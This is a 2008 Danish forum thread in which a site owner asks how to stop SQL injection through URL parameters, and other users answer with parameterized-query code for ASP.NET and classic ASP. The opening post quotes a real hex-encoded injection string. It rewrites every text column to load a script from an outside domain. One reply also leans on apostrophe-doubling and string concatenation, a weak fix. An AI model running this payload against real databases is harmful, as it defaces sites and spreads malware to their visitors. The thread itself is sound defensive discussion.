26. juni 2008 - 09:08Der er
15 kommentarer og 1 løsning
SQL Injection via URL'en
Hej,
Hvordan sikrer man sig mod sql-injection over URL'en? Jeg bliver konstant bombarderet med angreb som dettee:
www.side.dk/ID=5852;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E62696F7334372E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--
Og nu har der været "held" for hacker-botten eller hvad det er som kører automatisk, og hele databasen er blevet spammet med det iframe-script som er meget omtalt i tiden.
Jeg ved at man kan sikre sig ved at slå multiple queries fra i Sql Server-databasen, men Scannet hvor det er hostet siger at det ikke er noget de kan gøre.
Er der nogen der selv bliver busted med lignende og måske kender til en måde at sikre sig?
Hvis du bruger parameters rigtigt, bør injection eksemplet du giver ikke kunne lade sig gøre.
SqlCommand.CommandText = "select * from table where id = @idParam"; SqlCommand.Parameters.Add("@idParam", int.Parse(queryStringParam)); --Her fejler den på dit eksempel, og inection koden bliver ikke kørt.
Ok - det er rigtigt, men det er fordi jeg stadig har nogle gamle sider liggende der kører i classic ASP, men på samme SQL Server. Og her er der ikke parameters på - kan man overhovedet det? Det er den vej de kommer igennem, det eneste jeg har gjort ved de gamle sider er at sikre tekstboksene ved at lave en replace, så den vej kan der ikke komme noget igennem.
I asp vil det være en rigtig god idé i dit tilfælde at sikre at din querystring er en int - så undgår du det nuværende problem. Og så kan du også sagtens køre med parametre i ASP.
Okay, hvordan kan jeg sikre at querystring'en er en Int? Skal der bruges parameters eller kan man nøjes med noget i retning af cInt(ID) ? For det er rigtig mange steder det skal rettes.
set cmd = Server.CreateObject("ADODB.Command") set cmd.ActiveConnection = ditConnectionObjekt cmd.CommandText = "SELECT * FROM table WHERE id = ?" cmd.Parameters.Append cmd.CreateParameter("@idParam", adInteger, adParamInput, 4, queryStringParam) set rs = cmd.Execute()
Jep, jeg tror jeg skal have kørt parameters på de gamle ASP-sider. Men til en start er det bare vigtigst at validere at alle querystrings er Integers når det er den vej der bliver forsøgt at komme igennem...
Som udgangspunkt skal du konverterer alle tal til en tal type altså f.eks. int id = Convert.ToInt32(Request.QueryString["id"]); double maxvalue = Convert.ToDouble(Request.QueryString["maxval"]); og alle strenge skal have "escaped" ' (apostrof) til noget som sql ikke misforstår, hvilket du går ved at udskifte apostrofer med to string search = Request.QueryString["search"].Replace("'", "''");
Når du så efterfølgende bygger din sql forespørgsel skulle resultatet gerne blive sikkert string sql = "SELECT * FROM table WHERE id = " + id;
Nu er ikke bekendt med asp syntaxen, men det er det grundliggende princip i at forebygge sql injection attacks. konverter tal til tal, og escape apostrof i strenge. Forsøger man at Converte en streng som indeholder sql til et tal, vil det blive smidt en exception, og siden vil fejle. Ikke særligt pænt for brugeren, men din database er sikker. Desuden, kan man jo også være ligeglad med hackeres brugeroplevelse.
Som sagt, slipper du for dette hvis du bruger ADO.net til at forespørge din database. SqlCommand cmd = new SqlCommand("SELECT * FROM table WHERE id = @id", connection); cmd.Parameters.AddWithValue("@id", Request.QueryString["id"]); Her tager sqlcommand objekter sig af at forhindre sql injection.
mikalj -> Tak for beskrivelsen. Det er både smart og nemt at arbejde med parameters i ado.net så der er heller ikke nogen problemer med disse sider.
Jeg har lavet en replace på indholdet af inputfelter på de gamle asp-sider, selvom jeg synes det er en crappy løsning - mem disse sider vil nok stille uddø alligevel. Derudover har jeg tjekket for isnumeric på de gamle siders querystring også, så der bliver smidt en exception. Og ja, det kan være ret lige meget med en hackers brugeroplevelse..!
Selvom mit bidrag til dette spørgsmål har været minimal og jeg i udgangspunktet ikke havde tænkt mig at smide et svar, gør jeg det alligevel. Det ser ikke ud til at der er andre der vil have points :-)
Så må du hellere få points - og tak til alle der deltog :-)
Synes godt om
Ny brugerNybegynder
Din løsning...
Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.